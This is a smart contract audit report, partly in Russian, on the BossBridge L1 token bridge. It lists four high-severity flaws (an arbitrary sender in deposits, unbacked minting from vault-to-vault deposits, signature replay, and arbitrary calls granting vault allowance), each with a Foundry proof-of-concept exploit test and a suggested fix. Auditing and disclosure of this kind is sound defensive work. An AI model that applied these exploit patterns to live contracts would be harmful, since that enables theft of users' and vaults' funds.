Protocol Audit Report

Version 1.0

Mr.CryptoHack

7 апреля 2024 г.

BossBridge Audit Report

Mr.CryptoHack

April 7, 2024

Prepared by: Mr.CryptoHack Lead Auditors: - Mr.CryptoHack

Table of Contents

Protocol Summary

Protocol does X, Y, Z

Disclaimer

The Mr.CryptoHack team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

The owner of the bridge can pause operations in emergency situations. Because deposits are permissionless, there's an strict limit of tokens that can be deposited. Withdrawals must be approved by a bridge operator. We plan on launching L1BossBridge on both Ethereum Mainnet and ZKSync.

Scope

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375
- In scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    - L1BossBridge.sol
    - L1Token.sol
    - L1Vault.sol
    - TokenFactory.sol
  - ZKSync Era:
    - TokenFactory.sol
  - Tokens:
    - L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severtity	Number of issues found
High	4
Medium	0
Low	0
Info	0
Total	4

Findings

[H-1] Возможность манипулирования параметром `from` в функции `L1BossBridge:depositTokensToL2`, что позволяет произвести выпуск токенов на L2 за счет жертвы

Description:

В контракте `L1BossBridge:depositTokensToL2` есть возможность манипулирования параметром `from`, что при условии что жертва осуществила `approve` для контракта `BossBridge` осуществить кражу токенов путем указания `from` адрес жертвы, а `l2Recipient` - адрес злоумышленника.

Impact:

Легитимный пользователь потеряет все свои токены на уровне L1.

Proof of Concept:

```

    function testcanMoveApproveTokensOfOthersUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit (user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();

    }
```

Recommended Mitigation:

```
-   function depositTokensToL2(address from, address l2Recipient,
    uint256 amount) external whenNotPaused {
+   function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }

-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

-        emit Deposit(from, l2Recipient, amount);
+        emit Deposit(msg.sender, l2Recipient, amount);
    }
```

[H-2] Calling the function **`L1BossBridge:depositTokensToL2`** from the Vault to the Vault contract allows infinite mintiing of unbacked token.

Description:

Given that the contract `L1BossBridge:depositTokensToL2` in the constructor has the right to `transfer` the maximum possible value due to `vault.approveTo(address(this), type(uint256).max);`, as well as the possibility of specifying the address of the repository itself as `from`, it becomes possible to mint unlimited the number of tokens at the L2 level.

Impact:

This problem completely violates the logic of the protocol.

Proof of Concept:

```

    function testTransferFromVaultToVault() public {
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);

    }
```

Recommended Mitigation:

Protocol refactoring is required, as in the case of H1.

[H-3] В функции **L1BossBridge:sendToL1** контракт не проверяет что находится в параметре **message**.

Description:

За счет того, что подпись оператора в контракте не как не защищена, злоумышленник может использовать ее для подписи поддельно сформированной транзакции с указанием своего message.

Impact:

Из хранилища на уровне L1 могут быть украдены все средства.

Proof of Concept:

```

    function testSignatureReplay() public {
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;

        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
           ;

        // An attacker deposits token to L2

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);

        tokenBridge.depositTokensToL2(attacker, attacker,
           attackerInitialBalance);

        // Signer/Operator is going to signt he writedrawal
        bytes memory message = abi.encode(address(token), 0 , abi.
           encodeCall(IERC20.transferFrom, (address(vault), attacker,
           attackerInitialBalance)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
           MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
           ;

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
               attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)),
           attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation:

Необходимо реализовать защиту от повторного использования подписи оператора.

[H-4] **`L1BossBridge::sendToL1`** allowing arbitrary calls enables users to call **`L1Vault::approveTo`** and give themselves infinite allowance of vault funds

Description:

The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract.

The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call that targets the vault and executes is `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the
       assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us
        to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).max);
    token.transferFrom(address(vault), attacker, token.balanceOf(address(vault)));
}
```

Recommended Mitigation:

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.